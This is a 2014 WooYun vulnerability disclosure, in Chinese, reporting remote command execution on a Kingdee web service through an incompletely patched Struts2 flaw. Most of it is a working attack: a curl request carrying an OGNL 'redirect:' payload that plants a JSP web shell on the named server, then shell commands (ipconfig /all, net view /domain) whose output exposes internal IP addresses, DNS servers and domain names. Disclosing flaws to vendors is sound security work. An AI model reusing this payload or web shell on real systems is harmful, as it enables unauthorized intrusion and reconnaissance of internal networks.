金蝶某站命令执行（可危及内网系统）

发表于 2014年12月27日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088993

漏洞标题：金蝶某站命令执行（可危及内网系统）

漏洞详情

披露状态：

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-29: 厂商已经确认，细节仅向厂商公开
2015-01-08: 细节向核心白帽子及相关领域专家公开
2015-01-18: 细节向普通白帽子公开
2015-01-28: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述：

st2漏洞修复不当。

详细说明：

写shell:

curl  -i 'http://service.kingdee.com/csso/customer/getClientIP.action'  -d 'redirect:${(new%20java.io.PrintWriter(%22D:/website/csso_head/tset.jsp%22).append(%27%3C%25%40%20page%20import%3D%22java.io.*%22%20%25%3E%20%3C%25%20String%20cmd%20%3D%20request.getParameter(%22cmd%22)%3B%20String%20output%20%3D%20%22%22%3B%20if(cmd%20!%3D%20null)%20%7B%20String%20s%20%3D%20null%3B%20try%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(cmd)%3B%20BufferedReader%20sI%20%3D%20new%20BufferedReader(new%20InputStreamReader(p.getInputStream()))%3B%20while((s%20%3D%20sI.readLine())%20!%3D%20null)%20%7B%20output%20%2B%3D%20s%20%2B%22%5C%5Cr%5C%5Cn%22%3B%20%7D%20%7D%20catch(IOException%20e)%20%7B%20e.printStackTrace()%3B%20%7D%20%7D%20%25%3E%20%3Cpre%3E%20%3C%25%3Doutput%20%25%3E%20%3C%2Fpre%3E%27).close())%2b+%22OK%22}'

curl -i 'http://service.kingdee.com/csso/customer/getClientIP.action' -d 'redirect:${(new%20java.io.PrintWriter(%22D:/website/csso_head/tset.jsp%22).append(%27%3C%25%40%20page%20import%3D%22java.io.*%22%20%25%3E%20%3C%25%20String%20cmd%20%3D%20request.getParameter(%22cmd%22)%3B%20String%20output%20%3D%20%22%22%3B%20if(cmd%20!%3D%20null)%20%7B%20String%20s%20%3D%20null%3B%20try%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(cmd)%3B%20BufferedReader%20sI%20%3D%20new%20BufferedReader(new%20InputStreamReader(p.getInputStream()))%3B%20while((s%20%3D%20sI.readLine())%20!%3D%20null)%20%7B%20output%20%2B%3D%20s%20%2B%22%5C%5Cr%5C%5Cn%22%3B%20%7D%20%7D%20catch(IOException%20e)%20%7B%20e.printStackTrace()%3B%20%7D%20%7D%20%25%3E%20%3Cpre%3E%20%3C%25%3Doutput%20%25%3E%20%3C%2Fpre%3E%27).close())%2b+%22OK%22}'

ipconfig /all:

curl http://service.kingdee.com/csso/tset.jsp -d cmd="ipconfig /all"<br>
  <pre>Windows IP ConfigurationHost Name . . . . . . . . . . . . : cssoPrimary Dns Suffix  . . . . . . . : kingdee.gblNode Type . . . . . . . . . . . . : UnknownIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : NoDNS Suffix Search List. . . . . . : kingdee.gblEthernet adapter ????:Connection-specific DNS Suffix  . :Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network ConnectionPhysical Address. . . . . . . . . : 00-50-56-A3-00-04DHCP Enabled. . . . . . . . . . . : NoIP Address. . . . . . . . . . . . : 192.168.200.181Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 192.168.200.1DNS Servers . . . . . . . . . . . : 192.168.201.220192.168.200.201192.168.200.202192.168.1.13

curl http://service.kingdee.com/csso/tset.jsp -d cmd="ipconfig /all"

<pre>Windows IP ConfigurationHost Name . . . . . . . . . . . . : cssoPrimary Dns Suffix . . . . . . . : kingdee.gblNode Type . . . . . . . . . . . . : UnknownIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : NoDNS Suffix Search List. . . . . . : kingdee.gblEthernet adapter ????:Connection-specific DNS Suffix . :Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network ConnectionPhysical Address. . . . . . . . . : 00-50-56-A3-00-04DHCP Enabled. . . . . . . . . . . : NoIP Address. . . . . . . . . . . . : 192.168.200.181Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 192.168.200.1DNS Servers . . . . . . . . . . . : 192.168.201.220192.168.200.201192.168.200.202192.168.1.13

net view /domain

curl http://service.kingdee.com/csso/tset.jsp -d cmd="net view /domain"<br>
  <pre> Domain-------------------------------------------------------------------------------<br>
KDACT<br>
KDSV<br>
KDWEB<br>
KINGDEE<br>
LICENSEGROUP<br>
WEB<br>
WORKGROUP<br>
???????</pre>